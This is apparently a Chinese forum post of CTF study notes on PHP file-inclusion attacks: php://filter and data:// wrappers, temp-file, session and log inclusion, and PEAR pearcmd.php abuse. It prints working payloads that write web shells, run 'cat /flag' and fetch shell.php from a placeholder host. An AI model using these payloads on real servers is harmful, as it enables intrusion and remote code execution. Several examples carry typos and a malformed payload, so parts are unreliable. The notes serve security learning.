设为首页
收藏本站
切换到窄版
登录
立即注册
找回密码
搜索
搜索
本版
帖子
用户
快捷导航
论坛
BBS
C语言
C++
NET
JAVA
PHP
易语言
数据库
IE盒子
»
论坛
›
IE盒子
›
PHP
›
学习笔记
返回列表
发帖
查看:
86
|
回复:
0
学习笔记
[复制链接]
杨伟洋
杨伟洋
当前离线
积分
16
3
主题
10
帖子
16
积分
新手上路
新手上路, 积分 16, 距离下一级还需 34 积分
新手上路, 积分 16, 距离下一级还需 34 积分
积分
16
发消息
发表于 2023-3-10 16:36:10
|
显示全部楼层
|
阅读模式
一、 文件包含机制
php的机制之一,其本质就是代码执行。将函数写入文件中,另一个页面可以调用。
比如使用 include eval等语言结构
或者 file_get_contents等函数
而所谓的文件包含漏洞,就是我们可以控制。
它与任意文件读取有何区别?
其对象不能是php文件,否则有些代码执行不了,服务器回显不了。
二、php语言的两大特点以及6大伪协议
(1)上层目录特性
1. 每个目录都有上层目录
2. 根目录的上层目录就是跟母驴本身
/var/www/html/../../../ => / 目录
/var/www/html/../../../../../../../../../ => / 目录 上溯
(2)php目录整理特性
/var/www/html/ctfshow/../flag.php
/var/www/html/flag.php
六大伪协议:
1、ftp://默认21端口,进行文件传输的协议
2、file:// 默认的文件协议
3、http:// 因为是明文传输,所以比较危险。
4、php协议 (web33 web34)
常用:php://input 返回原始流的数据
php://filter 过滤作用 进行编码
常见的有base64编码
/?file=php://filter/write=convert.base64-decode/resource=1.php
Body
content=PD9waHAgcGhwaW5mbygpOz8%2b :<= base54endecode编码 content=<?php phpinfo();?>
rot13凯撒编码:
/?file=php://filter/write=string.rot13/resource=1.php
body:
content=<?php system(&#34;cat /flag&#34;); ?>
总共有4种过滤器,详见php手册。
5 data://协议(web35) 和php://input作用类似,符合RFC的都是data协议 它能够不写文件而直接执行php代码。在data中我们可以省略甚至是编码。
例如常见的口令 ?file=data://text:plain/,<?php cat /f1ag ?>
二 php的文件上传机制
把所有的信息放到这几个超全局变量里面去,php在设计时也不知道哪些界面用户会上传,哪些用户不会上传。
为了防止信息被动态使用,php会把所有信息都放到$_FILES里面去,先放在这个临时目录里去。
首先介绍一下php的六大超全局变量,它们是用来存储请求相关的内容。
$_GET $_POST $_SERVER $_COOKIE $_SESSION $_FILES
这些需要用到的临时信息,在php运行的几毫秒里是存在的。
它的格式在lunix下 /tep/phpxxxxxx 用户上传文件时都会放在临时目录里去
lunix下 当php执行完,系统会自动删除掉。而在这个过程中我们去执行临时文件是合法的。
三 高级文件包含:
1 ngnix 提供http服务,默认监听80端口。只执行php文件或者由中间件php-fpm返回的内容。
作用:在hackbar中,通过控制修改user-Agent的形式,插入Value,进行POST传参。
其实就是修改ngnix默认路径下的日志文件,如果改了默认路径就不行了。
2 临时文件包含
/tmp/php??????
文件包含,能否包含一个 /???/????????[@-[]] ?
答案是:不行 文件包含,是不支持通配符
我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去
默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除。
2种突破点:
在php脚本运行过程中,包含临时文件。
在脚本运行过程中,得到完整的临时文件名称,(用脚本得到文件名)
3 session文件包含
首先必须要了解php中的session相关的函数。详见文档
实现机制:浏览器将SESSIONID存放到Cookie里,SESSIONID包含了变量secret的值。如果浏览器第二次读取secret,可以直接将它存储的内容输出出来。
4 pear文件包含
PEAR扩展(web40)
PHP Extension and Application Repository
默认安装位置是 /usr/local/lib/php/
条件:
1 有文件包含点
2 开启了pear扩展
3 配置文件中register_argc_argv 设置为On,而默认为Off
方法:(web40)
法一:远程文件下载
?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+-R+/var/www/html/+http://your-shell.com/shell.php
法二:生成配置文件
GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+
方法三 写配置文件方式,配置项传入我们恶意的php代码的形式。
GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php
5 远程文件包含(web41)
hh.exe
36.9K
· 百度网盘
PHP7中文手册(2018).chm
16.6M
· 百度网盘
回复
使用道具
举报
返回列表
发帖
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
回帖后跳转到最后一页
快速回复
返回顶部
返回列表